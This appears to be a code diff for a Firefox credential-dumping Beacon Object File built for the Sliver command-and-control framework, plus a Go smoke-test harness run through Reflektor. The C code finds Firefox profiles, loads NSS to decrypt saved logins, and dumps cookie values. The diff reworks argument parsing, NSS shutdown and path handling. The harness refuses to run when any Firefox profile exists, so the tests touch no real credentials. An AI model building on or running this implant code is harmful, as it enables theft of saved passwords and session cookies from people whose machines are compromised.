(DWORD)MSVCRT$strlen(username), nssReady); } if (password && MSVCRT$strlen(password) > 0) { - DecryptAndPrint("Password", password, (DWORD)MSVCRT$strlen(password), profilePath, nssReady); + DecryptAndPrint("Password", password, (DWORD)MSVCRT$strlen(password), nssReady); } SafeAppend("\n"); count++; @@ -879,7 +991,7 @@ static BOOL ExtractPasswordsFromSignonsSqlite(const char* profilePath, BOOL nssR return (count > 0); } -static BOOL ExtractCookies(const char* cookiesDbPath, const char* profilePath, BOOL nssReady) { +static BOOL ExtractCookies(const char* cookiesDbPath) { sqlite3* db = NULL; sqlite3_stmt* stmt = NULL; int result = 0; @@ -891,11 +1003,12 @@ static BOOL ExtractCookies(const char* cookiesDbPath, const char* profilePath, B result = p_sqlite3_open_v2(cookiesDbPath, &db, SQLITE_OPEN_READONLY, NULL); if (result != SQLITE_OK) { + if (db) p_sqlite3_close(db); return FALSE; } result = p_sqlite3_prepare_v2(db, - "SELECT host, path, name, value, encryptedValue FROM moz_cookies LIMIT 50", + "SELECT host, path, name, value FROM moz_cookies LIMIT 50", -1, &stmt, NULL); if (result != SQLITE_OK) { p_sqlite3_close(db); @@ -910,32 +1023,9 @@ static BOOL ExtractCookies(const char* cookiesDbPath, const char* profilePath, B const char* path = (const char*)p_sqlite3_column_text(stmt, 1); const char* name = (const char*)p_sqlite3_column_text(stmt, 2); const char* value = (const char*)p_sqlite3_column_text(stmt, 3); - const BYTE* encValue = (const BYTE*)p_sqlite3_column_blob(stmt, 4); - int encValueLen = p_sqlite3_column_bytes(stmt, 4); - - if (value && MSVCRT$strlen(value) > 0) { - SafeAppend("Host: %s | Path: %s | Name: %s | Value: %s\n", - host ? host : "", path ? path : "", name ? name : "", value); - } else if (encValue && encValueLen > 0 && nssInitialized && p_PK11SDR_Decrypt) { - char* encB64 = (char*)intAlloc(encValueLen + 1); - if (encB64) { - MSVCRT$memcpy(encB64, encValue, encValueLen); - encB64[encValueLen] = '\0'; - char* decValue = NULL; - if (DecryptWithNSS(encB64, &decValue)) { - SafeAppend("Host: %s | Path: %s | Name: %s | Value: %s\n", - host ? host : "", path ? path : "", name ? name : "", decValue); - if (decValue) intFree(decValue); - } else { - SafeAppend("Host: %s | Path: %s | Name: %s | Value: (encrypted, failed to decrypt)\n", - host ? host : "", path ? path : "", name ? name : ""); - } - intFree(encB64); - } - } else if (encValue && encValueLen > 0) { - SafeAppend("Host: %s | Path: %s | Name: %s | Value: (encrypted, NSS not available)\n", - host ? host : "", path ? path : "", name ? name : ""); - } + + SafeAppend("Host: %s | Path: %s | Name: %s | Value: %s\n", + host ? host : "", path ? path : "", name ? name : "", value ? value : ""); count++; } @@ -946,10 +1036,13 @@ static BOOL ExtractCookies(const char* cookiesDbPath, const char* profilePath, B return (result == SQLITE_DONE || result == SQLITE_OK); } -static BOOL IsActiveProfile(const char* profilePath) { +static BOOL IsEligibleProfile(const char* profilePath, BOOL extractPasswords, BOOL extractCookies) { int keyType = DetectKeyDatabase(profilePath); - BOOL hasLogins = HasLoginsJson(profilePath) || HasSignonsSqlite(profilePath); - return (keyType != PROFILE_KEY_NONE && hasLogins); + BOOL hasPasswords = keyType != PROFILE_KEY_NONE && + (HasLoginsJson(profilePath) || HasSignonsSqlite(profilePath)); + BOOL hasCookies = ProfileHasFile(profilePath, "cookies.sqlite"); + + return (extractPasswords && hasPasswords) || (extractCookies && hasCookies); } static BOOL ProcessProfile(const char* profilePath, BOOL extractPasswords, BOOL extractCookies) { @@ -959,38 +1052,42 @@ static BOOL ProcessProfile(const char* profilePath, BOOL extractPasswords, BOOL BOOL nssReady = FALSE; int keyType = PROFILE_KEY_NONE; - if (!IsActiveProfile(profilePath)) { - SafeAppend("[!] Profile appears inactive (missing key db or logins) - skipping\n"); + if (!IsEligibleProfile(profilePath, extractPasswords, extractCookies)) { + SafeAppend("[!] Profile has none of the requested Firefox data - skipping\n"); return FALSE; } keyType = DetectKeyDatabase(profilePath); SafeAppend("[*] Processing Profile: %s\n", profilePath); - SafeAppend("[*] Key database: %s\n", - keyType == PROFILE_KEY4_DB ? "key4.db (modern)" : - keyType == PROFILE_KEY3_DB ? "key3.db (legacy)" : "unknown"); - if (extractPasswords) { - nssReady = InitializeNSS(profilePath); + SafeAppend("[*] Key database: %s\n", + keyType == PROFILE_KEY4_DB ? "key4.db (modern)" : + keyType == PROFILE_KEY3_DB ? "key3.db (legacy)" : "not found"); + } + + if (extractPasswords && keyType != PROFILE_KEY_NONE && + (HasLoginsJson(profilePath) || HasSignonsSqlite(profilePath))) { + nssReady = InitializeNSS(profilePath, keyType); if (!nssReady) { SafeAppend("[!] NSS initialization failed - passwords will be shown encrypted\n"); SafeAppend("[!] Possible causes: Firefox not installed, master password set, or NSS version mismatch\n"); } } - MSVCRT$strcpy(loginsJsonPath, profilePath); - MSVCRT$strcat(loginsJsonPath, "\\logins.json"); - - MSVCRT$strcpy(cookiesDbPath, profilePath); - MSVCRT$strcat(cookiesDbPath, "\\cookies.sqlite"); - - MSVCRT$strcpy(signonsPath, profilePath); - MSVCRT$strcat(signonsPath, "\\signons.sqlite"); + if (!BuildPath(loginsJsonPath, sizeof(loginsJsonPath), profilePath, "logins.json") || + !BuildPath(cookiesDbPath, sizeof(cookiesDbPath), profilePath, "cookies.sqlite") || + !BuildPath(signonsPath, sizeof(signonsPath), profilePath, "signons.sqlite")) { + SafeAppend("[!] Profile path is too long - skipping\n"); + if (nssReady && !ShutdownNSS()) { + SafeAppend("[!] NSS shutdown failed; keeping its libraries loaded\n"); + } + return FALSE; + } if (extractPasswords) { if (KERNEL32$GetFileAttributesA(loginsJsonPath) != INVALID_FILE_ATTRIBUTES) { - ExtractPasswordsFromLoginsJson(loginsJsonPath, profilePath, nssReady); + ExtractPasswordsFromLoginsJson(loginsJsonPath, nssReady); } else if (KERNEL32$GetFileAttributesA(signonsPath) != INVALID_FILE_ATTRIBUTES) { ExtractPasswordsFromSignonsSqlite(profilePath, nssReady); } else { @@ -999,12 +1096,11 @@ static BOOL ProcessProfile(const char* profilePath, BOOL extractPasswords, BOOL } if (extractCookies && KERNEL32$GetFileAttributesA(cookiesDbPath) != INVALID_FILE_ATTRIBUTES) { - ExtractCookies(cookiesDbPath, profilePath, nssReady); + ExtractCookies(cookiesDbPath); } - if (nssReady && p_NSS_Shutdown) { - p_NSS_Shutdown(); - nssInitialized = FALSE; + if (nssReady && !ShutdownNSS()) { + SafeAppend("[!] NSS shutdown failed; keeping its libraries loaded\n"); } return TRUE; @@ -1013,6 +1109,13 @@ static BOOL ProcessProfile(const char* profilePath, BOOL extractPasswords, BOOL static BOOL ExtractFirefoxData(BOOL extractPasswords, BOOL extractCookies) { int i = 0; + if (extractPasswords && extractCookies) { + SafeAppend("\n[*] Extraction mode: passwords and cookies\n"); + } else if (extractCookies) { + SafeAppend("\n[*] Extraction mode: cookies only\n"); + } else { + SafeAppend("\n[*] Extraction mode: passwords only\n"); + } SafeAppend("\n[*] Extracting Firefox Data from All Profiles\n"); SafeAppend("================================\n"); @@ -1037,36 +1140,79 @@ VOID go(IN PCHAR Buffer, IN ULONG Length) { datap parser; CHAR* option = NULL; CHAR* allocatedOption = NULL; + CHAR* extractedOption = NULL; + int extractedLength = 0; + DWORD payloadLength = 0; + DWORD fieldLength = 0; + DWORD i = 0; + BOOL argumentsValid = TRUE; BOOL extractPasswords = TRUE; BOOL extractCookies = FALSE; - if (!bofstart()) { - return; - } + bof_output_reset(); - BeaconDataParse(&parser, Buffer, Length); - option = BeaconDataExtract(&parser, NULL); - - if (option == NULL && Length > 0 && Length < 256) { - allocatedOption = (CHAR*)intAlloc(Length + 1); - if (allocatedOption != NULL) { - MSVCRT$memcpy(allocatedOption, Buffer, Length); - allocatedOption[Length] = '\0'; - option = allocatedOption; + /* Accept only an empty envelope or exactly one canonical typed string. */ + if (Buffer == NULL && Length == 0) { + /* Some BOF hosts invoke a no-argument entrypoint with no envelope. */ + } else if (Buffer == NULL || Length < sizeof(DWORD)) { + argumentsValid = FALSE; + } else { + MSVCRT$memcpy(&payloadLength, Buffer, sizeof(payloadLength)); + if (payloadLength != Length - sizeof(DWORD)) { + argumentsValid = FALSE; + } else if (payloadLength == 0) { + /* A canonical zero-field envelope contains only its length. */ + } else if (payloadLength < 5) { + argumentsValid = FALSE; + } else { + MSVCRT$memcpy(&fieldLength, Buffer + sizeof(DWORD), sizeof(fieldLength)); + if (fieldLength == 0 || fieldLength >= 256 || + fieldLength > payloadLength - sizeof(DWORD) || + fieldLength + sizeof(DWORD) != payloadLength || + Buffer[2 * sizeof(DWORD) + fieldLength - 1] != '\0') { + argumentsValid = FALSE; + } + for (i = 0; argumentsValid && i + 1 < fieldLength; i++) { + if (Buffer[2 * sizeof(DWORD) + i] == '\0') { + argumentsValid = FALSE; + } + } + if (argumentsValid) { + BeaconDataParse(&parser, Buffer, Length); + extractedOption = BeaconDataExtract(&parser, &extractedLength); + if (extractedOption == NULL || extractedLength != (int)fieldLength) { + argumentsValid = FALSE; + } else { + allocatedOption = (CHAR*)intAlloc((SIZE_T)extractedLength + 1); + if (allocatedOption == NULL) { + argumentsValid = FALSE; + } else { + MSVCRT$memcpy(allocatedOption, extractedOption, extractedLength); + allocatedOption[extractedLength] = '\0'; + option = allocatedOption; + } + } + } } } + if (!argumentsValid) { + SafeAppend("[!] Invalid BOF arguments; expected one --mode string.\n"); + if (allocatedOption) intFree(allocatedOption); + return; + } + if (option != NULL) { char optionLower[256] = {0}; - int i = 0; - for (i = 0; option[i] != '\0' && i < 255; i++) { - if (option[i] >= 'A' && option[i] <= 'Z') { - optionLower[i] = option[i] + 32; + int optionIndex = 0; + for (optionIndex = 0; option[optionIndex] != '\0' && optionIndex < 255; optionIndex++) { + if (option[optionIndex] >= 'A' && option[optionIndex] <= 'Z') { + optionLower[optionIndex] = option[optionIndex] + 32; } else { - optionLower[i] = option[i]; + optionLower[optionIndex] = option[optionIndex]; } } - optionLower[i] = '\0'; + optionLower[optionIndex] = '\0'; if (MSVCRT$_stricmp(optionLower, "/all") == 0 || MSVCRT$_stricmp(optionLower, "all") == 0) { extractPasswords = TRUE; @@ -1075,6 +1221,10 @@ VOID go(IN PCHAR Buffer, IN ULONG Length) { else if (MSVCRT$_stricmp(optionLower, "/cookies") == 0 || MSVCRT$_stricmp(optionLower, "cookies") == 0) { extractPasswords = FALSE; extractCookies = TRUE; + } else if (optionLower[0] != '\0') { + SafeAppend("[!] Invalid mode. Use --mode /all or --mode /cookies.\n"); + intFree(allocatedOption); + return; } } @@ -1085,30 +1235,22 @@ VOID go(IN PCHAR Buffer, IN ULONG Length) { ExtractFirefoxData(extractPasswords, extractCookies); - printoutput(TRUE); + UnloadSQLiteFunctions(); - if (hSqlite3) { - KERNEL32$FreeLibrary(hSqlite3); - hSqlite3 = NULL; - } - - if (nssInitialized && p_NSS_Shutdown) { - p_NSS_Shutdown(); - nssInitialized = FALSE; - } - if (hNss3) { - KERNEL32$FreeLibrary(hNss3); - hNss3 = NULL; + if (!ShutdownNSS()) { + SafeAppend("[!] NSS shutdown failed; keeping its libraries loaded\n"); } + UnloadNSSLibraries(); if (allocatedOption) intFree(allocatedOption); - bofstop(); } #else int main(int argc, char* argv[]) { BOOL extractPasswords = TRUE; BOOL extractCookies = FALSE; + bof_output_reset(); + if (argc > 1) { if (MSVCRT$_stricmp(argv[1], "/all") == 0 || MSVCRT$_stricmp(argv[1], "all") == 0) { extractPasswords = TRUE; @@ -1124,6 +1266,11 @@ int main(int argc, char* argv[]) { } ExtractFirefoxData(extractPasswords, extractCookies); + UnloadSQLiteFunctions(); + if (!ShutdownNSS()) { + printf("[!] NSS shutdown failed; keeping its libraries loaded\n"); + } + UnloadNSSLibraries(); return 0; } #endif diff --git a/tests/reflektor/README.md b/tests/reflektor/README.md new file mode 100644 index 0000000..042be79 --- /dev/null +++ b/tests/reflektor/README.md @@ -0,0 +1,32 @@ +# Reflektor compatibility smoke test + +This harness executes the repository-built Windows `amd64` and `386` COFF +objects with Reflektor `v0.0.7`, using the same default `go`/`_go` entrypoint +discovery as Sliver. It covers a zero-field argument buffer plus the typed +string encodings Sliver sends for the omitted/default option, `/cookies`, +`/all`, and an invalid-mode rejection. The successful cases assert distinct +mode output before the no-profile guard, so the smoke test also proves that +each packed option reaches the intended extraction branch. Oversized and +malformed present argument fields must fail closed instead of silently using +the default password-only mode. + +The test intentionally provides no custom symbol resolver. This matches +Sliver's built-in Reflektor BOF handler and rejects any Beacon callback that +would require host support. It also requires every emitted record to use +`OutputDefault`; the records are concatenated and checked against the stable +no-profile result. + +## Credential-safety boundary + +Before Reflektor loads the object, the harness checks the current user's Firefox +profile location and every profile location the BOF can enumerate below +`C:\Users`. If any Firefox `Profiles` root exists, the harness stops without +executing the BOF. The GitHub Actions job uses a fresh hosted runner and never +uploads a profile or credential fixture. + +This is deliberately a no-profile smoke test. It validates COFF loading, symbol +resolution, Beacon argument parsing, both native x86 execution paths, and output +callbacks. It does **not** test NSS loading, SQLite rows, DPAPI, master-password +handling, or decryption of actual Firefox data. Those operations cannot be +covered by a package CI job without introducing credential-like fixtures and a +substantially larger trusted runtime surface. diff --git a/tests/reflektor/go.mod b/tests/reflektor/go.mod new file mode 100644 index 0000000..82d6eea --- /dev/null +++ b/tests/reflektor/go.mod @@ -0,0 +1,10 @@ +module github.com/sliverarmory/firefoxdump/tests/reflektor + +go 1.26.6 + +require github.com/sliverarmory/reflektor v0.0.7 + +require ( + github.com/ebitengine/purego v0.10.1 // indirect + golang.org/x/sys v0.41.0 // indirect +) diff --git a/tests/reflektor/go.sum b/tests/reflektor/go.sum new file mode 100644 index 0000000..c5dd148 --- /dev/null +++ b/tests/reflektor/go.sum @@ -0,0 +1,6 @@ +github.com/ebitengine/purego v0.10.1 h1:dewVBCBT2GaMu1SrNTYxQhgQBethzfhiwvZiLGP/qyY= +github.com/ebitengine/purego v0.10.1/go.mod h1:iIjxzd6CiRiOG0UyXP+V1+jWqUXVjPKLAI0mRfJZTmQ= +github.com/sliverarmory/reflektor v0.0.7 h1:VpH5s9KXM5GOZXtT7Iz5tW1MdMu5YnFL+NnCOT5UtOQ= +github.com/sliverarmory/reflektor v0.0.7/go.mod h1:+lCyQy0xHVqx6D5nYbcz5XIDVtAGbDMIMU0Yc6Brb1s= +golang.org/x/sys v0.41.0 h1:Ivj+2Cp/ylzLiEU89QhWblYnOE9zerudt9Ftecq2C6k= +golang.org/x/sys v0.41.0/go.mod h1:OgkHotnGiDImocRcuBABYBEXf8A9a87e/uXjp9XT3ks= diff --git a/tests/reflektor/main.go b/tests/reflektor/main.go new file mode 100644 index 0000000..524f4af --- /dev/null +++ b/tests/reflektor/main.go @@ -0,0 +1,210 @@ +//go:build windows && (386 || amd64) + +// Command reflektor-smoke validates the packaged FirefoxDump BOF through the +// same public Reflektor API used by Sliver's built-in BOF executor. +package main + +import ( + "bytes" + "errors" + "flag" + "fmt" + "os" + "path/filepath" + "runtime" + "sort" + "strings" + + "github.com/sliverarmory/reflektor/bof" +) + +const expectedNoProfileSuffix = "\n[*] Extracting Firefox Data from All Profiles\n" + + "================================\n" + + "[!] No Firefox profiles found\n" + +const sqliteUnavailablePrefix = "[!] Failed to load SQLite DLL. Make sure winsqlite3.dll is available.\n" + + "[!] Cookie extraction and legacy signons.sqlite will not work.\n" + +const invalidArgumentsOutput = "[!] Invalid BOF arguments; expected one --mode string.\n" + +type smokeCase struct { + name string + option string + noFields bool + raw []byte + expected string +} + +func main() { + objectPath := flag.String("object", "", "path to the native-architecture FirefoxDump COFF object") + flag.Parse() + + if *objectPath == "" { + fatalf("-object is required") + } + if err := guardNoFirefoxProfiles(); err != nil { + fatalf("credential-safety guard: %v", err) + } + + cases := []smokeCase{ + {name: "no-fields", noFields: true}, + {name: "default", option: ""}, + {name: "cookies", option: "/cookies"}, + {name: "all", option: "/all"}, + {name: "invalid", option: "bogus", expected: "[!] Invalid mode. Use --mode /all or --mode /cookies.\n"}, + {name: "oversized", option: strings.Repeat("a", 255), expected: invalidArgumentsOutput}, + {name: "malformed", raw: []byte{5, 0, 0, 0, 2, 0, 0, 0, 'x'}, expected: invalidArgumentsOutput}, + } + for _, testCase := range cases { + if err := runSmokeCase(*objectPath, testCase); err != nil { + fatalf("%s: %v", testCase.name, err) + } + fmt.Printf("ok: windows/%s go %s\n", runtime.GOARCH, testCase.name) + } +} + +func runSmokeCase(objectPath string, testCase smokeCase) error { + var imports []bof.Import + object, err := bof.LoadFileWithOptions(objectPath, bof.LoadOptions{ + ValidateImports: func(snapshot []bof.Import) error { + imports = append(imports, snapshot...) + for _, imported := range snapshot { + if imported.RequiresHost { + return fmt.Errorf("import %q requires a host callback unavailable in Sliver's Reflektor executor", imported.Name) + } + } + return nil + }, + }) + if err != nil { + return fmt.Errorf("load BOF: %w", err) + } + defer func() { _ = object.Close() }() + if err := requireBuiltinCallbacks(imports); err != nil { + return err + } + + // Sliver packs an omitted optional string as a typed empty string, so the + // default case deliberately exercises AddString("") rather than raw bytes. + var arguments bof.Arguments + argumentBytes := testCase.raw + if argumentBytes == nil && !testCase.noFields { + if err := arguments.AddString(testCase.option); err != nil { + return fmt.Errorf("pack option: %w", err) + } + } + if argumentBytes == nil { + argumentBytes = arguments.Bytes() + } + outputs, err := object.Execute(argumentBytes) + if err != nil { + return fmt.Errorf("execute BOF: %w", err) + } + if len(outputs) == 0 { + return errors.New("callback count = 0, want at least one BeaconOutput record") + } + var combined bytes.Buffer + for index, output := range outputs { + if output.Type != bof.OutputDefault { + return fmt.Errorf("callback %d type = %#x, want OutputDefault (%#x)", index, output.Type, bof.OutputDefault) + } + combined.Write(output.Data) + } + payload := combined.Bytes() + if bytes.IndexByte(payload, 0) >= 0 { + return errors.New("BeaconOutput contains an embedded NUL") + } + + output := string(payload) + if testCase.expected != "" { + if output != testCase.expected { + return fmt.Errorf("unexpected callback payload %q, want %q", output, testCase.expected) + } + return nil + } + expected := expectedNoProfileOutput(testCase.option) + if output != expected && output != sqliteUnavailablePrefix+expected { + return fmt.Errorf("unexpected no-profile callback payload %q", output) + } + return nil +} + +func expectedNoProfileOutput(option string) string { + mode := "passwords only" + switch option { + case "/all": + mode = "passwords and cookies" + case "/cookies": + mode = "cookies only" + } + return "\n[*] Extraction mode: " + mode + "\n" + expectedNoProfileSuffix +} + +func requireBuiltinCallbacks(imports []bof.Import) error { + required := map[string]bool{ + "BeaconDataExtract": false, + "BeaconDataParse": false, + "BeaconOutput": false, + } + for _, imported := range imports { + for callback := range required { + if strings.Contains(imported.Name, callback) { + if !imported.Builtin { + return fmt.Errorf("callback %q is not implemented by Reflektor", imported.Name) + } + required[callback] = true + } + } + } + var missing []string + for callback, found := range required { + if !found { + missing = append(missing, callback) + } + } + if len(missing) != 0 { + sort.Strings(missing) + return fmt.Errorf("BOF does not import expected callbacks: %s", strings.Join(missing, ", ")) + } + return nil +} + +// guardNoFirefoxProfiles must run before loading or executing the BOF. The BOF +// can enumerate every C:\Users profile when elevated, so the guard checks both +// that hard-coded search space and the current user's resolved config path. +func guardNoFirefoxProfiles() error { + candidates, err := filepath.Glob(`C:\Users\*\AppData\Roaming\Mozilla\Firefox\Profiles`) + if err != nil { + return fmt.Errorf("enumerate Windows profile roots: %w", err) + } + configDirectory, configErr := os.UserConfigDir() + if configErr != nil { + return fmt.Errorf("resolve current user config directory: %w", configErr) + } + candidates = append(candidates, filepath.Join(configDirectory, "Mozilla", "Firefox", "Profiles")) + + seen := make(map[string]struct{}) + for _, candidate := range candidates { + cleaned := filepath.Clean(candidate) + key := strings.ToLower(cleaned) + if _, ok := seen[key]; ok { + continue + } + seen[key] = struct{}{} + info, statErr := os.Stat(cleaned) + switch { + case statErr == nil: + return fmt.Errorf("refusing to execute because Firefox profile root %q exists (%s)", cleaned, info.Mode()) + case errors.Is(statErr, os.ErrNotExist): + continue + default: + return fmt.Errorf("inspect Firefox profile root %q: %w", cleaned, statErr) + } + } + return nil +} + +func fatalf(format string, arguments ...any) { + fmt.Fprintf(os.Stderr, "reflektor-smoke: "+format+"\n", arguments...) + os.Exit(1) +}